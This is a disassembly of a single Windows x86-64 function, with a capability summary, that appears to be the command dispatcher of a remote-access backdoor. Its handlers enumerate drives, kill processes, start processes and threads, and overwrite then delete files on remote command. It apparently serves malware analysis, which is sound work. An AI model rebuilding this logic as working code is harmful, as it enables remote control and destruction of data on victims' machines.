Function at 0x140006660
Capabilities:
Create process on windows
Create thread
Delete file
Get disk information
Get file size
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push rbp
lea rbp, [rsp - 0x1ad0]
mov eax, 0x1bd0
call fcn.1401896f0
sub rsp, rax
mov rax, qword [0x140238670]
xor rax, rsp
mov qword [rbp + 0x1aa0], rax
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x1402496c0]
lea rdx, [rbp + 0x8e0]
mov r8d, 0x128
call fcn.140004230
cmp eax, 0xffffffff
je 0x140006a00
mov qword [rsp + 0x1be0], rbx
mov qword [rsp + 0x1be8], rsi
mov qword [rsp + 0x1bf0], rdi
mov qword [rsp + 0x1bc8], r12
xor r12d, r12d
mov qword [rsp + 0x1bc0], r13
lea r13, [0x140000000]
mov qword [rsp + 0x1bb8], r14
mov qword [rsp + 0x1bb0], r15
lea rsi, [r12 - 1]
nop dword [rax]
cmp eax, 0x128
jne 0x1400069c8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x1402493b0], xmm0
mov qword [0x1402493e0], rax
mov rcx, r12
movups xmmword [0x1402493c0], xmm0
mov dword [0x1402493e8], eax
movups xmmword [0x1402493d0], xmm0
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x8e0]
mov byte [rcx + r13 + 0x2493b0], al
lea rcx, [rcx + 1]
test al, al
jne 0x140006740
mov ecx, dword [rbp + 0x900]
cmp ecx, 1
jne 0x140006a18
lea rcx, [rbp + 0x80]
mov edx, 2
lea rax, [rbp + 0x8e0]
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140006780
movups xmm0, xmmword [rax]
mov dil, 0x42
movups xmm1, xmmword [rax + 0x10]
mov rax, qword [rax + 0x20]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov qword [rcx + 0x20], rax
mov ecx, r12d
nop
mov ebx, ecx
movzx r8d, dil
lea rcx, [rbp + 0xa98]
lea rdx, str._c:_
call fcn.140003aa0
lea rcx, [rbp + 0xa98]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
add eax, 0xfffffffe
lea ecx, [rbx + 1]
cmp eax, 3
cmova ecx, ebx
inc dil
cmp dil, 0x5a
jle 0x1400067f0
movsxd rcx, ecx
mov eax, 0x214
add rcx, 2
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.14018f1ec
mov r8d, dword [rbp + 0x1a4]
lea r9, [rbp + 0x80]
lea rdx, str.00000040drives__d__s
mov rcx, rax
mov r15, rax
call fcn.140003aa0
mov r14d, 1
lea rsi, [r15 + 0x214]
mov dil, 0x42
nop word [rax + rax]
movzx r8d, dil
lea rdx, str._c:_
lea rcx, [rbp + 0xa98]
call fcn.140003aa0
lea rcx, [rbp + 0xa98]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebx, eax
lea ecx, [rax - 2]
cmp ecx, 3
ja 0x140006969
xor edx, edx
lea rcx, [rbp + 0xaa0]
mov r8d, 0x214
call fcn.14018b430
mov rdx, r12
nop dword [rax]
movzx ecx, byte [rbp + rdx + 0xa98]
mov byte [rbp + rdx + 0xaa0], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400068d0
mov dword [rbp + 0xca0], ebx
lea rax, [rbp + 0xaa0]
mov rcx, rsi
mov edx, 4
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140006900
movups xmm0, xmmword [rax]
mov eax, dword [rax + 0x10]
inc r14d
add rsi, 0x214
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
inc dil
cmp dil, 0x5a
jle 0x140006880
mov rcx, qword [0x1402496c0]
mov rdx, r15
imul r8d, r14d, 0x214
call fcn.140004040
mov rcx, r15
call fcn.14018f1d8
mov rsi, 0xffffffffffffffff
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x1402496c0]
lea rdx, [rbp + 0x8e0]
mov r8d, 0x128
call fcn.140004230
cmp eax, 0xffffffff
jne 0x140006700
mov r15, qword [rsp + 0x1bb0]
mov r13, qword [rsp + 0x1bc0]
mov r12, qword [rsp + 0x1bc8]
mov rdi, qword [rsp + 0x1bf0]
mov rsi, qword [rsp + 0x1be8]
mov rbx, qword [rsp + 0x1be0]
mov r14, qword [rsp + 0x1bb8]
mov rcx, qword [rbp + 0x1aa0]
xor rcx, rsp
call fcn.140188cb0
add rsp, 0x1bd0
pop rbp
ret
cmp ecx, 2
jne 0x140006aba
lea rcx, [rbp + 0x2e0]
mov edx, 2
lea rax, [rbp + 0x8e0]
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140006a40
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov rax, qword [rax + 0x20]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov qword [rcx + 0x20], rax
lea rcx, [rbp + 0x2e0]
call fcn.1400045a0
jmp 0x14000699b
cmp ecx, 3
jne 0x140006b5a
lea rcx, [rbp + 0x410]
mov edx, 2
lea rax, [rbp + 0x8e0]
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140006ae0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov rax, qword [rax + 0x20]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov qword [rcx + 0x20], rax
lea rcx, [rbp + 0x410]
call fcn.140004910
jmp 0x14000699b
cmp ecx, 4
jne 0x140006c39
lea rcx, [rbp + 0x540]
mov edx, 2
lea rax, [rbp + 0x8e0]
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140006b80
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov rax, qword [rax + 0x20]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov qword [rcx + 0x20], rax
lea rcx, [rbp + 0x564]
call fcn.14019451c
mov r8d, eax
xor edx, edx
mov ecx, 0x100401
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000699b
mov edx, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000699b
cmp ecx, 5
jne 0x140006c65
mov qword [rsp + 0x28], r12
lea r9, [rbp + 0x8e0]
lea r8, [0x140004c90]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x14000699b
cmp ecx, 6
jne 0x140006c91
mov qword [rsp + 0x28], r12
lea r9, [rbp + 0x8e0]
lea r8, [0x140004e90]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x14000699b
cmp ecx, 7
jne 0x140006da1
lea rcx, [rbp + 0x670]
mov edx, 2
lea rax, [rbp + 0x8e0]
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140006cb0
movups xmm0, xmmword [rax]
xor r9d, r9d
xor r8d, r8d
movups xmm1, xmmword [rax + 0x10]
mov rax, qword [rax + 0x20]
lea rdx, [rbp + 0x694]
movups xmmword [rcx], xmm0
mov dword [rbp + 0xa10], WSAGetLastError
xorps xmm0, xmm0
movups xmmword [rcx + 0x10], xmm1
mov qword [rcx + 0x20], rax
xor eax, eax
mov dword [rbp + 0xa74], eax
xor ecx, ecx
lea rax, [rbp + 0xa80]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xa10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], r12d
movups xmmword [rbp + 0xa14], xmm0
movups xmmword [rbp + 0xa24], xmm0
movups xmmword [rbp + 0xa34], xmm0
movups xmmword [rbp + 0xa44], xmm0
movups xmmword [rbp + 0xa54], xmm0
movups xmmword [rbp + 0xa64], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x14000699b
cmp ecx, 8
jne 0x140006ef7
lea rcx, [rsp + 0x50]
mov edx, 2
lea rax, [rbp + 0x8e0]
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140006dc0
movups xmm0, xmmword [rax]
mov edx, 0x80
movups xmm1, xmmword [rax + 0x10]
mov rax, qword [rax + 0x20]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov qword [rcx + 0x20], rax
lea rcx, [rsp + 0x74]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
lea rcx, [rsp + 0x74]
mov edx, 0x40000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140006994
lea rdx, [rbp + 0x8d0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
jle 0x140006ed3
lea edi, [rax - 1]
shr edi, 0xc
inc edi
nop
mov rbx, r12
call fcn.14018f1f4
mov byte [rbp + rbx + 0xaa0], al
inc rbx
cmp rbx, 0x1000
jl 0x140006e93
lea r9, [rbp + 0x8d0]
mov qword [rsp + 0x20], r12
mov r8d, 0x1000
lea rdx, [rbp + 0xaa0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
sub rdi, 1
jne 0x140006e90
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x74]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x140006994
cmp ecx, 9
jne 0x140006f30
cmp dword [0x140249398], r12d
jne 0x14000699b
mov qword [rsp + 0x28], r12
lea r9, [rbp + 0x8e0]
lea r8, [0x140005170]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x14000699b
cmp ecx, 0xa
jne 0x140006f41
mov dword [0x140249398], r12d
jmp 0x14000699b
cmp ecx, 0x11
jne 0x140006f6d
mov qword [rsp + 0x28], r12
lea r9, [rbp + 0x8e0]
lea r8, [0x140005780]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x14000699b
cmp ecx, 0x12
jne 0x140006f7e
mov dword [0x140249330], r12d
jmp 0x14000699b
cmp ecx, 0x14
jne 0x140006faa
mov qword [rsp + 0x28], r12
lea r9, [rbp + 0x8e0]
lea r8, [0x140005fb0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x14000699b
cmp ecx, 0x20
jne 0x140006fd6
mov qword [rsp + 0x28], r12
lea r9, [rbp + 0x8e0]
lea r8, [0x1400062e0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x14000699b
cmp ecx, 0x70
jne 0x140007095
lea rcx, [rbp + 0x7a0]
mov edx, 2
lea rax, [rbp + 0x8e0]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140006ff2
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov rax, qword [rax + 0x20]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov qword [rcx + 0x20], rax
mov rcx, r12
nop
movzx eax, byte [rbp + rcx + 0x7a0]
mov byte [rbp + rcx + 0xaa0], al
lea rcx, [rcx + 1]
test al, al
jne 0x140007060
mov rcx, qword [0x1402496c0]
lea rdx, [rbp + 0xaa0]
mov r8d, 0x214
call fcn.140004040
jmp 0x14000699b
cmp ecx, 0x80
je 0x1400069c8
cmp ecx, 0xc0
jne 0x1400073bc
movsxd r8, dword [0x140249334]
cmp r8d, 0xa
jge 0x140007127
lea rdx, [rbp + 0x904]
mov rax, r8
shl rax, 9
lea rcx, [rbp + 0x904]
sub rax, rdx
lea rdx, [r13 + 0x247f30]
add rdx, rax
nop dword [rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400070e0
mov eax, dword [rbp + 0x9fc]
mov dword [r13 + r8*8 + 0x249670], eax
mov eax, dword [rbp + 0xa00]
mov dword [r13 + r8*8 + 0x249674], eax
mov eax, dword [rbp + 0xa04]
mov dword [r13 + r8*4 + 0x249370], eax
lea eax, [r8 + 1]
mov dword [0x140249334], eax
jmp 0x14000699b
lea rcx, [0x140248130]
nop
movzx eax, byte [rcx]
mov byte [rcx - 0x200], al
lea rcx, [rcx + 1]
test al, al
jne 0x140007130
mov eax, dword [0x140249678]
lea rcx, [0x140248330]
mov dword [0x140249670], eax
mov eax, dword [0x14024967c]
mov dword [0x140249674], eax
mov eax, dword [0x140249374]
mov dword [0x140249370], eax
nop dword [rax]
movzx eax, byte [rcx]
mov byte [rcx - 0x200], al
lea rcx, [rcx + 1]
test al, al
jne 0x140007170
mov eax, dword [0x140249680]
lea rcx, [0x140248530]
mov dword [0x140249678], eax
mov eax, dword [0x140249684]
mov dword [0x14024967c], eax
mov eax, dword [0x140249378]
mov dword [0x140249374], eax
nop dword [rax]
movzx eax, byte [rcx]
mov byte [rcx - 0x200], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400071b0
mov eax, dword [0x140249688]
lea rcx, [0x140248730]
mov dword [0x140249680], eax
mov eax, dword [0x14024968c]
mov dword [0x140249684], eax
mov eax, dword [0x14024937c]
mov dword [0x140249378], eax
nop dword [rax]
movzx eax, byte [rcx]
mov byte [rcx - 0x200], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400071f0
mov eax, dword [0x140249690]
lea rcx, [0x140248930]
mov dword [0x140249688], eax
mov eax, dword [0x140249694]
mov dword [0x14024968c], eax
mov eax, dword [0x140249380]
mov dword [0x14024937c], eax
nop dword [rax]
movzx eax, byte [rcx]
mov byte [rcx - 0x200], al
lea rcx, [rcx + 1]
test al, al
jne 0x140007230
mov eax, dword [0x140249698]
lea rcx, [0x140248b30]
mov dword [0x140249690], eax
mov eax, dword [0x14024969c]
mov dword [0x140249694], eax
mov eax, dword [0x140249384]
mov dword [0x140249380], eax
nop dword [rax]
movzx eax, byte [rcx]
mov byte [rcx - 0x200], al
lea rcx, [rcx + 1]
test al, al
jne 0x140007270
mov eax, dword [0x1402496a0]
lea rcx, [0x140248d30]
mov dword [0x140249698], eax
mov eax, dword [0x1402496a4]
mov dword [0x14024969c], eax
mov eax, dword [0x140249388]
mov dword [0x140249384], eax
nop dword [rax]
movzx eax, byte [rcx]
mov byte [rcx - 0x200], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400072b0
mov eax, dword [0x1402496a8]
lea rcx, [0x140248f30]
mov dword [0x1402496a0], eax
mov eax, dword [0x1402496ac]
mov dword [0x1402496a4], eax
mov eax, dword [0x14024938c]
mov dword [0x140249388], eax
nop dword [rax]
movzx eax, byte [rcx]
mov byte [rcx - 0x200], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400072f0
mov eax, dword [0x1402496b0]
lea rcx, [0x140249130]
mov dword [0x1402496a8], eax
mov eax, dword [0x1402496b4]
mov dword [0x1402496ac], eax
mov eax, dword [0x140249390]
mov dword [0x14024938c], eax
nop dword [rax]
movzx eax, byte [rcx]
mov byte [rcx - 0x200], al
lea rcx, [rcx + 1]
test al, al
jne 0x140007330
mov eax, dword [0x1402496b8]
mov rcx, r12
mov dword [0x1402496b0], eax
mov eax, dword [0x1402496bc]
mov dword [0x1402496b4], eax
mov eax, dword [0x140249394]
mov dword [0x140249390], eax
nop dword [rax + rax]
movzx eax, byte [rbp + rcx + 0x904]
mov byte [rcx + r13 + 0x249130], al
lea rcx, [rcx + 1]
test al, al
jne 0x140007370
mov eax, dword [rbp + 0x9fc]
mov dword [0x1402496b8], eax
mov eax, dword [rbp + 0xa00]
mov dword [0x1402496bc], eax
mov eax, dword [rbp + 0xa04]
mov dword [0x140249394], eax
mov eax, 0xa
mov dword [0x140249334], eax
jmp 0x14000699b
cmp ecx, 0xc1
jne 0x14000749f
lea rcx, [rbp + 0x1b0]
mov edx, 2
lea rax, [rbp + 0x8e0]
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1400073e0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov rax, qword [rax + 0x20]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov qword [rcx + 0x20], rax
mov ecx, 0x428
call fcn.14018f1ec
mov ecx, dword [0x140249334]
lea r9, [rbp + 0x1b0]
mov r8d, dword [rbp + 0x2d4]
lea rdx, str.000000C1ZQRWZL__d__s__d
mov dword [rsp + 0x20], ecx
mov rbx, rax
mov rcx, rax
call fcn.140003aa0
mov rcx, qword [0x1402496c0]
mov r8d, 0x214
mov rdx, rbx
call fcn.140004040
mov rcx, rbx
call fcn.14018f1d8
jmp 0x14000699b
mov eax, dword [0x140249334]
cmp ecx, 0xc2
cmove eax, r12d
mov dword [0x140249334], eax
jmp 0x14000699b